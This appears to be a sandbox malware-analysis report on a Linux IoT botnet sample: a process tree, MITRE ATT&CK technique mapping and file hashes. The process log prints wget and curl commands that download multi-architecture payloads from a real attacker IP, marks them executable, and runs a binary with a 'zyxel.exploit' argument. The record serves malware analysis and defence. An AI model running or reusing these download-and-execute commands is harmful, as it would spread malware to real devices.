  chmod +x 76d32be0 config-err-cn5zUy db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 netplan_8gbbljgp snap-private-tmp ssh-3uMRqyT54wC2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-bolt.service-0lCU0N systemd-private-38b50abdf65f4cc69b121c0dd958d784-colord.service-omeHWV systemd-private-38b50abdf65f4cc69b121c0dd958d784-ModemManager.service-oN6XO2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-resolved.service-2dd8td zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1612
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:1613
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh4
  2⤵
  - Writes file to tmp directory
  PID:1615
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.sh4
  2⤵
  - Writes file to tmp directory
  PID:1620
- /bin/chmod
  chmod +x 76d32be0 config-err-cn5zUy db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.sh4 db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 netplan_8gbbljgp snap-private-tmp ssh-3uMRqyT54wC2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-bolt.service-0lCU0N systemd-private-38b50abdf65f4cc69b121c0dd958d784-colord.service-omeHWV systemd-private-38b50abdf65f4cc69b121c0dd958d784-ModemManager.service-oN6XO2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-resolved.service-2dd8td zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1622
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:1623
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arc
  2⤵
  - Writes file to tmp directory
  PID:1625
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.arc
  2⤵
  - Writes file to tmp directory
  PID:1630
- /bin/chmod
  chmod +x 76d32be0 config-err-cn5zUy db0fa4b8db0333367e9bda3ab68b8042.arc db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.sh4 db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x86 netplan_8gbbljgp snap-private-tmp ssh-3uMRqyT54wC2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-bolt.service-0lCU0N systemd-private-38b50abdf65f4cc69b121c0dd958d784-colord.service-omeHWV systemd-private-38b50abdf65f4cc69b121c0dd958d784-ModemManager.service-oN6XO2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-resolved.service-2dd8td zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1632
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  PID:1633
- /usr/bin/wget
  wget http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x64
  2⤵
  PID:1635
- /usr/bin/curl
  curl -O http://158.94.210.88/596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.x64
  2⤵
  - Writes file to tmp directory
  PID:1640
- /bin/chmod
  chmod +x 76d32be0 config-err-cn5zUy db0fa4b8db0333367e9bda3ab68b8042.arc db0fa4b8db0333367e9bda3ab68b8042.arm db0fa4b8db0333367e9bda3ab68b8042.arm5 db0fa4b8db0333367e9bda3ab68b8042.arm6 db0fa4b8db0333367e9bda3ab68b8042.arm7 db0fa4b8db0333367e9bda3ab68b8042.i686 db0fa4b8db0333367e9bda3ab68b8042.m68k db0fa4b8db0333367e9bda3ab68b8042.mips db0fa4b8db0333367e9bda3ab68b8042.mpsl db0fa4b8db0333367e9bda3ab68b8042.ppc db0fa4b8db0333367e9bda3ab68b8042.sh4 db0fa4b8db0333367e9bda3ab68b8042.spc db0fa4b8db0333367e9bda3ab68b8042.x64 db0fa4b8db0333367e9bda3ab68b8042.x86 netplan_8gbbljgp snap-private-tmp ssh-3uMRqyT54wC2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-bolt.service-0lCU0N systemd-private-38b50abdf65f4cc69b121c0dd958d784-colord.service-omeHWV systemd-private-38b50abdf65f4cc69b121c0dd958d784-ModemManager.service-oN6XO2 systemd-private-38b50abdf65f4cc69b121c0dd958d784-systemd-resolved.service-2dd8td zyxel.sh
  2⤵
  - File and Directory Permissions Modification
  PID:1642
- /tmp/76d32be0
  ./76d32be0 zyxel.exploit
  2⤵
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Writes file to system bin folder
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:1643

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

db0fa4b8db0333367e9bda3ab68b8042.x86

Path /tmp/db0fa4b8db0333367e9bda3ab68b8042.x86
Size 64KB
SHA256 74ee95ea935954d8320594f45a3ed34d956637f399d927d75f080648800106a0
MD5 ba44aa37a8274d79744d1578308bbee9
SHA1 a040ce603675509aab2c3a073a2918426ccfdea0
SHA512 6632a931f3eea33a55dcf02890d8742f554b07b4672a07e395dfda5bd504a0e190c453ffc3327c29b88d1b2990a169386dbd4085608475153a398a1e2110dec8
SSDEEP 1536:Lugo/Y7kAs3fRWTei0EgKXt0L9UdZYgS3N7vd6DuK7:LugyY7fsvRWTeicSCL6dGgS3NDcDd
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads